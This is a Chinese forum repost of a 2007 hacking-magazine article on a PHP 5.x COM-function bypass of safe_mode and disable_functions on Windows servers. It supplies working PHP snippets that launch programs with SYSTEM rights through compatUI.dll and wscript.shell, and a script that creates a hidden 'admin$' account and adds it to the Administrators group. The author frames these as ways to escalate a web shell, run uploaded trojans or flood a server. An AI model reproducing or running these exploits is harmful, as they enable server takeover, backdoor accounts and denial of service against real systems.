PHP5.xCOMfunctions提权漏洞的利用分析

[复制链接]
查看289 | 回复0 | 2012-4-1 19:18:27 | 显示全部楼层 |阅读模式
本篇文章源自《黑客防线》2007年12月刊



================================nbsp;&nbspHP是英文“超级文本预处理语言”(HypertextPreprocessor)的缩写,是一种HTML内嵌式的语言。它可以比CGI或者Perl更快速地执行动态网页。PHP具有非常强大的功能,所有的CGI或者JavaScript的功能,PHP都能实现,支持几乎所有流行的数据库以及操作系统。   近期功能如此强大、运用如此广泛的PHP却出现了重大漏洞,也就是PHP5.xCOMfunctionssafe_modeanddisable_functionbypass漏洞。它可以实现提权,这是很多朋友们所梦寐以求的。下面我们先来总体介绍一下漏洞,由于本人水平有限,请大家原谅不准确的地方。   漏洞所用到的COM函数只在Windows环境下的PHP才存在,.net的支持需要PHP5以及.netRuntime。漏洞所利用的函数无需特殊安装,是PHP内核的一部分。Windows环境下的PHP默认支持这些扩展,不用额外加载其他扩展来调用漏洞函数。         现在部分大中型网站都喜欢用PHP+Apache+Windows来架设,这样的话,PHP漏洞的打击面就会很大了,特别是在现在提权越来越难的形势下,我想,很多服务器会因为这个漏洞而沦陷的。根据漏洞发现者公布的内容,漏洞的利用要求php.ini中有如下设置。我的测试环境为PHP5.2.3+Apache2.2.3+WindowsXPSP2,在我的测试当中,发现并不一定要严格按照这样配置,大家可以自己测试一下看看。

safe_mode=On

disable_functions=com_load_typelib

open_basedir=htdocs

下面我们就逐一看看这个漏洞的内容与利用。



compatUI.dll中的RunApplication函数

这个漏洞的测试代码如下。

<?php

$compatUI=newCOM('{0355854A-7F23-47E2-B7C3-97EE8DD42CD8}');

//加载compatUI.dll&nbsp;&nbsp;$compatUI->RunApplication(&quot;something&quot;,&quot;notepad.exe&quot;,1);

//运行记事本

?>



将其保存为PHP文件,放到服务器上,然后用IE访问就可以了。运行后IE是没有什么回显的,1所示,但实际上记事本已经运行了,而且是SYSTEM权限,因为它是由系统服务来运行的,所以继承了SYSTEM权限,2所示。





&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;利用这个漏洞,我们可以运行已经上传好的木马,实现WebShell的提权。当然,如果你足够无聊的话,还可以写成循环,让服务器运行很多记事本,实现D.O.S。



Wscript运行命令



这个漏洞的测试代码如下。

<?php

$wscript=newCOM('wscript.shell');//要用到wscript.exe

$wscript->Run(&quot;cmd.exe/ccalc.exe&quot;);//运行calc.exe

?>



访问该脚本后,服务器上出现了SYSTEM权限的calc.exe进程,3所示。我们只要发挥一下想象力,修改一下脚本,就能加个管理员账户了,具体代码如下。



&nbsp;



<?php

$wscript=newCOM('wscript.shell');$wscript->Run(&quot;cmd.exe/cnetuseradmin$/add&quot;);

$wscript->Run(&quot;cmd.exe/cnetlocalgroupadministratorsadmin$/add&quot;);

?>



访问该脚本之后,即可添加管理员成功,这对SYSTEM权限来说简直就是噩梦,4所示。

&nbsp;

*
*
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则